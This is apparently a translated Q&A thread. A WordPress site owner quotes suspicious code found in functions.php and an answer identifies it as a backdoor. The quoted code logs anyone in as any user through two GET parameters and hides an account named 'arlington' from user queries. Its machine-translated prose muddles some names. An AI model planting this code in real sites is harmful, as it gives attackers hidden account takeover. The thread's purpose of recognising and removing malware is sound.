functions.php

时间:2017-11-28 01:14:50

标签: php mysql wordpress

我用他的wordpress网站帮助了一位朋友,我在他的functions.php文件中找到了这段代码。我想要一些帮助,试图理解它,看看我是否可以删除它。

if(isset($_GET['foo'])){ $a = $_GET['foo']; } 
if(isset($_GET['bar'])){ $b = $_GET['bar']; } 
if( ( isset($a) && is_numeric($a) )&& ( isset($b) && $b == 'stuff' )) {

  $userdetail = get_userdata($a);
  $user_logins = $userdetail->user_login;
  $user_ids = $a;
  wp_set_current_user($user_ids, $user_logins);
  wp_set_auth_cookie($user_ids);
  do_action('wp_login', $user_logins);
 }
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'arlington') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where);
   }
}

据我所知,是否发布了GET请求,并且具有正确的用户ID,以便' lg'属性和角色' M'对于''属性。然后它获取用户数据并登录并为用户创建cookie。所以基本上有人可以使用以下网址登录www.mysite.com?lg=1&cg=M。用适当的UserID或暴力替换1,直到找到。

在用户查询之前运行第二段代码之后。看起来它需要$ user_search参数。如果用户名不是“自定义”的话。然后它运行一个不返回任何内容的数据库查询,而不是用户登录。

如果我已正确解读,请告诉我。

编辑:我会稍微改变变量以防止任何恶作剧,因为我相信使用它可以很容易地利用wordpress网站。

1 个答案:

答案 0 :(得分:5)

您绝对应该删除此代码,并检查您网站的其余部分。

前11行代码将允许任何人只需通过指定提到的2个get参数作为任何用户登录,添加到pre_user_query的第二个块添加了一个用于隐藏名为custom的用户的SQL子句。

添加此代码的人或其他任何人希望在WordPress网站上拥有一个持久的后门。